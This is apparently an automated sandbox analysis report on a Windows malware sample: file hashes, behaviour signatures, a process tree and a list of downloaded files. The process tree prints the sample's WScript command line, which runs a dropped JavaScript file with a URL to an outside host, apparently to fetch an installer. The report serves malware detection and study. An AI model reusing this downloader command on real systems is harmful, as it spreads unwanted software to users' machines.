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Analysis

  • max time kernel
    120s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240508-en
  • resource tags

    arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
  • submitted
    20/05/2024, 03:40

General

  • Target

    5cff4f625c4a6f08070aba6f90c252ec_JaffaCakes118.exe

  • Size

    184KB

  • MD5

    5cff4f625c4a6f08070aba6f90c252ec

  • SHA1

    0ab4e94b25900771194c6b1ace7faee7e6533428

  • SHA256

    4784ff01183395cbbca37f078ac6f90d8752249e3bb857f473281992ec7255df

  • SHA512

    054ef1a7742fc33fdedd478c320a477f4f92607e43ffc9727a22fc781851fbc4a3ab838872ec6e21d7173afcaba9fa93c05d0eeab67d7cae4b4c51009851ca8d

  • SSDEEP

    3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO35r:/7BSH8zUB+nGESaaRvoB7FJNndnir

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 11 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\5cff4f625c4a6f08070aba6f90c252ec_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\5cff4f625c4a6f08070aba6f90c252ec_JaffaCakes118.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1644
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf1C28.js" http://www.djapp.info/?domain=GRCGDZSUsc.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LrsDjMuaUM9CgqlVE0PvlMlmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGIgkQVe88uQeqVvF6ZIoKUhkpvZWpzwXHeObuK-6mX4GJU2Nia1-_MKHVlwz C:\Users\Admin\AppData\Local\Temp\fuf1C28.exe
      2⤵
      • Blocklisted process makes network request
      PID:2656
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf1C28.js" http://www.djapp.info/?domain=GRCGDZSUsc.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LrsDjMuaUM9CgqlVE0PvlMlmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGIgkQVe88uQeqVvF6ZIoKUhkpvZWpzwXHeObuK-6mX4GJU2Nia1-_MKHVlwz C:\Users\Admin\AppData\Local\Temp\fuf1C28.exe
      2⤵
      • Blocklisted process makes network request
      PID:2500
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf1C28.js" http://www.djapp.info/?domain=GRCGDZSUsc.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LrsDjMuaUM9CgqlVE0PvlMlmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGIgkQVe88uQeqVvF6ZIoKUhkpvZWpzwXHeObuK-6mX4GJU2Nia1-_MKHVlwz C:\Users\Admin\AppData\Local\Temp\fuf1C28.exe
      2⤵
      • Blocklisted process makes network request
      PID:2544
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf1C28.js" http://www.djapp.info/?domain=GRCGDZSUsc.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LrsDjMuaUM9CgqlVE0PvlMlmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGIgkQVe88uQeqVvF6ZIoKUhkpvZWpzwXHeObuK-6mX4GJU2Nia1-_MKHVlwz C:\Users\Admin\AppData\Local\Temp\fuf1C28.exe
      2⤵
      • Blocklisted process makes network request
      PID:1740
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf1C28.js" http://www.djapp.info/?domain=GRCGDZSUsc.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LrsDjMuaUM9CgqlVE0PvlMlmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGIgkQVe88uQeqVvF6ZIoKUhkpvZWpzwXHeObuK-6mX4GJU2Nia1-_MKHVlwz C:\Users\Admin\AppData\Local\Temp\fuf1C28.exe
      2⤵
      • Blocklisted process makes network request
      PID:2884
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1644 -s 548
      2⤵
      • Program crash
      PID:1788

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

    Filesize

    1KB

    MD5

    cbc282c89eaf33dcc25496b655dd3335

    SHA1

    12d03e52947a33c0aa0cb46699d361ea92c319d2

    SHA256

    ed35539ae2e3de90b4d09f6dbed4fc19febf9c5ec3b9e54bbe6b972a89bd63c0

    SHA512

    eb2411b661feeccc44ea7b9bf096279a9c5a9fd504836ba827fcb9b6a815796a8fd4b03c8ec0e36ea7eebe82c0f059cbca3509e52a400921401a1b485bcc360b

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464

    Filesize

    724B

    MD5

    8202a1cd02e7d69597995cabbe881a12

    SHA1

    8858d9d934b7aa9330ee73de6c476acf19929ff6

    SHA256

    58f381c3a0a0ace6321da22e40bd44a597bd98b9c9390ab9258426b5cf75a7a5

    SHA512

    97ba9fceab995d4bef706f8deef99e06862999734ebe6a05832c710104479c6337cbf0a76e1c1e0f91566a61334dc100d837dfd049e20da765fe49def684f9c9

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

    Filesize

    410B

    MD5

    83cac64a993b1ef75083d5652545b2d5

    SHA1

    42691076578f197a8eddaa25c2d4fd6f0b7719d3

    SHA256

    bc2128635bf951dbcb18e0bae4fd6500add5ee28112cea68ed6a548ed051d90c

    SHA512

    f9bf75e400e2ac53e79834670c88d077834d2402d3af403dcb9b055274828a0d64550c647af63b4e1f0ad533ac953b56d8520406fa84e73d77966a688c508da0

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    344B

    MD5

    f684bea2caf428e3b62ca512f30b8fc7

    SHA1

    908f355edc82a94d6f512ff6ece054edcb553a46

    SHA256

    ce97988b7ce7ca6aca5cd08f96d9d6c52bd46721e58a36c7a19817b1bbc70994

    SHA512

    4b55beefa4d6cd79a4393446e94c44d2cb3e434d8cbd85aaa38ee1c3000f6d3950835c66f127d5557de032f4d57af8b6a33590b4eb2f606f5aa3ac5896a5d2fc

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464

    Filesize

    392B

    MD5

    0a4c8875bd56dc7ef125302d6eb8d945

    SHA1

    3bbb6ad66f55c88b18dcd2f24182bb7d36ad7509

    SHA256

    0688e15d1e3d7ba2b551ee171ffb23b90c36a826e3035c075c95fa0260b71502

    SHA512

    a6051c6fa7af7708e1d2adcd298311541bd6a0c5cbacab718a7690d992f62811d46d097cca839878b6421c403c5223fcfab72f0d056e096f885d495196f259c9

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\2XHJXO3H\domain_profile[1].htm

    Filesize

    6KB

    MD5

    20bdacc33e343857065b50c8b826e570

    SHA1

    f6e86e56bc26241d21bb9826be196c50b5354cac

    SHA256

    294b325807fa87483ab05d45dd5cfeb62ee5b6b301f29d4d85d118921a9a645f

    SHA512

    4fe99315541376f8f1fd35264b6e2f340ad7b752d54fc06e65c8ccd79d7c5365d84d88b4813f212bd7a594d83c4bf0ad2ec724491ddf19023f37614ff455affc

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\2XHJXO3H\domain_profile[1].htm

    Filesize

    40KB

    MD5

    18c793f0b6bebb219d6a8c07f0c974eb

    SHA1

    c5837666db2350c071c2470b2462d3a2baeeeb3a

    SHA256

    2cf6dba38807a5c4a06992365482cb981def246ff1cdc801f53cf5b503635fc7

    SHA512

    5c0d5f1b785a9d6a3ba61cb6be5395019e7f05299dabbdf727d1896fcf1624632441ce58e2cae9da2aa8ad922d1dce9101f01a4ff47e4b4bc91eb4ee7e2f4879

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\H09CVCL3\domain_profile[1].htm

    Filesize

    40KB

    MD5

    abb9560b416361f552d047bf93d5c79f

    SHA1

    953499ab2aecf3e5d1174fc4bf6acde26c4e47dc

    SHA256

    398e76c2d905af1bc2812525b754811e3332591ff241507257a8009ee33de8b5

    SHA512

    f4698d9a9ff19829aab51788f58e31aa5dc30da2a828a968afe8530f700aba09e06c176e8b92433b4068e23ae23abc9df33a0aed1c2f07edfd73caa5115ed7ee

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\H09CVCL3\domain_profile[1].htm

    Filesize

    40KB

    MD5

    f5675cdf9f588ed686a9bf74122c924e

    SHA1

    89053918b46fa6f85d56da7e4faa66e0e2a456db

    SHA256

    891c8166034580a32db9976adb37241417e9db30f5c22041c23577c4298a60f2

    SHA512

    3310034a29baca88c1cc097cc4a1f470d09a2b08a99ba767c5cbdef4943834fbe045d529c95fe4485ffe925f7ad4d67fa9f55ac184e22283f6974bf93052762c

  • C:\Users\Admin\AppData\Local\Temp\Cab4B52.tmp

    Filesize

    68KB

    MD5

    29f65ba8e88c063813cc50a4ea544e93

    SHA1

    05a7040d5c127e68c25d81cc51271ffb8bef3568

    SHA256

    1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184

    SHA512

    e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

  • C:\Users\Admin\AppData\Local\Temp\Tar63C3.tmp

    Filesize

    177KB

    MD5

    435a9ac180383f9fa094131b173a2f7b

    SHA1

    76944ea657a9db94f9a4bef38f88c46ed4166983

    SHA256

    67dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34

    SHA512

    1a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a

  • C:\Users\Admin\AppData\Local\Temp\fuf1C28.js

    Filesize

    3KB

    MD5

    3813cab188d1de6f92f8b82c2059991b

    SHA1

    4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

    SHA256

    a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

    SHA512

    83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\KQRMW2VL.txt

    Filesize

    175B

    MD5

    bce1a73788d8adc80107bd32ecef37d7

    SHA1

    c88b802013a1f0070fe0a4048f2d5952233a44ed

    SHA256

    53fe76a66c567eed514f0d74b56a710bd61d4bd1983617ac1cb90ed151b34a44

    SHA512

    818ac1b445a5178ed4c9729883b480782e04031529008103b0349e7a17fa5811eaf4c5fef36e493a0959fdd79c524395d4346411a257736650411df010b5b3d1